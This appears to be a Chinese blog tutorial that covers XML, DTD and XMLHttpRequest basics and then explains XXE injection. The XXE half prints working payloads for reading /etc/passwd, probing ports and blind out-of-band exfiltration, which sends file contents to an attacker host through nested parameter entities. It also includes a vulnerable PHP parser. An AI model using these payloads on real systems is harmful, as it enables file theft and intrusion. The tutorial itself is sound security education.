XML用于标记电子文件使其具有结构性的标记语言,可以用来标记数据、定义数据类型,是一种允许用户对自己的标记语言进行定义的源语言。XML文档结构包括XML声明、DTD文档类型定义(可选)、文档元素
XML 指可扩展标记语言(EXtensible Markup Language)
XML 是一种标记语言,很类似 HTML
XML 的设计宗旨是传输数据,而非显示数据
XML 标签没有被预定义。您需要自行定义标签。
XML 被设计为具有自我描述性。
XML 是 W3C 的推荐标准
XML 被设计为传输和存储数据,其焦点是数据的内容。
XML 不会做任何事情。XML 被设计用来结构化、存储以及传输信息。
XML 允许创作者定义自己的标签和自己的文档结构。
XML 是对 HTML 的补充。
XML 不会替代 HTML,理解这一点很重要。在大多数 web 应用程序中,XML 用于传输数据,而 HTML 用于格式化并显示数据。
对 XML 最好的描述是:
XML 是独立于软件和硬件的信息传输工具。
XML 文档形成一种树结构 <root> <child> <subchild>.....</subchild> </child> </root>
XML 标签对大小写敏感
XML 元素使用 XML 标签进行定义。
XML 标签对大小写敏感。在 XML 中,标签 <Letter> 与标签 <letter> 是不同的。
必须使用相同的大小写来编写打开标签和关闭标签:
在 XML 中,所有元素都必须彼此正确地嵌套
在 XML 中,一些字符拥有特殊的意义:<>&‘" ,需要用实体引用来代替这些字符,如<。
XML 中的注释:<!-- This is a comment -->
在 XML 中,空格会被保留,而在HTML中多个连续的空格字符会被裁减(合并)为一个。
XML 的优势之一,就是可以经常在不中断应用程序的情况进行扩展,即使这个 XML 文档作者又向这个文档添加了一些额外的信息,应用程序也能赵傲xml当中的元素并且产生输出。
XML DTD:DTD 的作用是定义 XML 文档的结构。它使用一系列合法的元素来定义文档结构。
根据 DTD 来验证 XML:
<?xml version="1.0" ?>
<!DOCTYPE note [
<!ELEMENT note (to,from,heading,body)>
<!ELEMENT to (#PCDATA)>
<!ELEMENT from (#PCDATA)>
<!ELEMENT heading (#PCDATA)>
<!ELEMENT body (#PCDATA)>
]>
<note>
<to>George</to>
<from>John</Ffrom>
<heading>Reminder</heading>
<body>Don‘t forget the meeting!</body>
</note>
XMLHttpRequest 能够帮助我们:
在不重新加载页面的情况下更新网页
在页面已加载后从服务器请求数据
在页面已加载后从服务器接收数据
在后台向服务器发送数据
网上的一个例子:
<html> <body> <script type="text/javascript"> if (window.XMLHttpRequest) {// code for IE7+, Firefox, Chrome, Opera, Safari xmlhttp=new XMLHttpRequest(); } else {// code for IE6, IE5 xmlhttp=new ActiveXObject("Microsoft.XMLHTTP"); } xmlhttp.open("GET","cd_catalog.xml",false); xmlhttp.send(); xmlDoc=xmlhttp.responseXML; document.write("<table border=‘1‘>"); var x=xmlDoc.getElementsByTagName("CD"); for (i=0;i<x.length;i++) { document.write("<tr><td>"); document.write(x[i].getElementsByTagName("ARTIST")[0].childNodes[0].nodeValue); document.write("</td><td>"); document.write(x[i].getElementsByTagName("TITLE")[0].childNodes[0].nodeValue); document.write("</td></tr>"); } document.write("</table>"); </script> </body> </html>
4,PCDATA PCDATA 的意思是被解析的字符数据(parsed character data)。 PCDATA 是会被解析器解析的文本。这些文本将被解析器检查实体以及标记。
5,CDATA CDATA 的意思是字符数据(character data)。 CDATA 是不会被解析器解析的文本。
了解了基础知识,可以看下xxe漏洞了: xxe也就是xml外部实体注入,DTD 可被成行地声明于 XML 文档中,作为一个外部引用,从而产生了xxe漏洞。 语法:<!DOCTYPE 根元素 [元素声明]>
实体引用:<!ENTITY 实体名 "实体值">
我们可以利用xxe来读取服务器上的本地文件:
<?php
$xml=simplexml_load_string($_GET[‘xml‘]);
print_r($xml);
?>
我们利用构造好的xxe来进行读取
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE playwin [
<!ENTITY name SYSTEM "文件的读取路径">
]>
<resume>
<name> &name; </name>
</resume>
我们将这段payload进行合适的编码,在这里我们进行url编码,我们可以读取到文件。
某些情况下,即便服务器可能存在XXE,也不会向攻击者的浏览器或代理返回任何响应。遇到这种情况,我们可以使用Blind XXE漏洞来构建一条外带数据(OOB)通道来读取数据。
扫描端口:
<?xml version="1.0"?>
<!DOCTYPE GVI [<!ENTITY xxe SYSTEM "http://127.0.0.1:8080" >]>
<catalog>
<core id="test">
<author>ALICE</author>
<title>XML</title>
<category>XML</category>
<price>1.00</price>
<date>2001-05-06</date>
<description>&xxe;</description>
</core>
</catalog>
此时我们可以根据响应时间的长度强度进行判断,这个端口有没有开放。
基于报错的Blind XXE:基于报错的原理和OOB类似,OOB通过构造一个带外的url将数据带出,而基于报错是构造一个错误的url并将泄露文件内容放在url中,通过这样的方式返回数据。
<!ENTITY % start "<!ENTITY % send SYSTEM ‘file:///hhhhhhh/%file;‘>">
%start;
<?xml version="1.0"?>
<!DOCTYPE message [
<!ENTITY % remote SYSTEM "http://blog.szfszf.top/xml.dtd">
<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=file:///flag">
%remote;
%send;
]>
<message>1234</message>
通过DTD窃取文件: <?xml version="1.0"?> <!DOCTYPE data SYSTEM "http://xxx.xxx.vps.com/xxe.dtd"> ALICE XML XML 1.00 2001-05-06 &xxe; 此时服务器接收到我们的这个文件,他会向我们的这个网址发送请求来查找这个dtd文件,这里再总结一下参数实体。
参数实体是只能在DTD中定义和使用的实体,以 %为标志定义。
引用一个例子:
<?xml version="1.0"?>
<!DOCTYPE message [
<!ENTITY normal "hello"> <!-- 内部普通实体 -->
<!ENTITY normal SYSTEM "http://xml.org/hhh.dtd"> <!-- 外部普通实体 -->
<!ENTITY % para SYSTEM "file:///1234.dtd"> <!-- 外部参数实体 -->
%para; <!-- 引用参数实体 -->
]>
<message>&normal;</message>
参数实体的嵌套定义:需要注意的是,内层的定义的参数实体% 需要进行HTML转义,否则会出现解析错误。
<?xml version="1.0"?>
<!DOCTYPE test [
<!ENTITY % outside ‘<!ENTITY % files SYSTEM "file:///etc/passwd">‘>
]>
<message>&normal;</message>
上面归纳完参数实体之后,我们还需要知道外部实体可以通过请求内部文件uri获得内部文件内容,利用file协议,即file://,我们可以获得文件的数据。
引入服务器DTD文件:前面已经知道了利用file://协议我们可以读取文件,同时参数实体也可以嵌套定义,所以我们写两个外部参数实体,前者利用file协议获取数据,后者利用ftp,http来请求我们的服务器,注意如果不用嵌套语句的话,他们就是同等级的参数实体了,xml不会对这类进行解析。
<?xml version="1.0"?>
<!DOCTYPE message [
<!ENTITY % files SYSTEM "file:///etc/passwd">
<!ENTITY % send SYSTEM "http://myip/?a=%files;">
%send;
]>
上面是不会被解析的,但下面的嵌套就可以了。 <?xml version="1.0"?> <!DOCTYPE message [ <!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % start "<!ENTITY % send SYSTEM ‘http://myip/?%file;‘>">
%start;
%send;
]>
上述步骤为:
1. 利用file协议读取文件内容
2. 将/etc/passwd内容传递给了参数实体变量file上。
3. 使用嵌套将file的内容带上利用http协议发送请求。
4. 调用start参数实体,生成了<!ENTITY % send SYSTEM ‘http://myip/?%file;‘>
的参数声明,即send。
5. 调用send参数实体,调用了files参数实体并请求了相关链接。
6. 放到实际环境当中:
7. 利用外部的DTD文件,可以放到自己的服务器上
<!ENTITY % start "<!ENTITY % send SYSTEM ‘http://myip:10001/?%file;‘>">
%start;
8. 下面是我们请求的数据:
<?xml version="1.0"?>
<!DOCTYPE message [
<!ENTITY % remote SYSTEM "http://myip/xml.dtd">
<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=file:///flag">
%remote;
%send;
]>
<message>1234</message>
最后说一下为什么引入外部文件:在内部DTD集中,参数实体的引用不能存在于标记的声明中。这并不适用于外部的参数实体中,这意味着,协议本身就必须要求不能在内部的实体声明中引用参数。
参考链接:https://www.freebuf.com/vuls/207639.html
原文:https://www.cnblogs.com/ophxc/p/12860268.html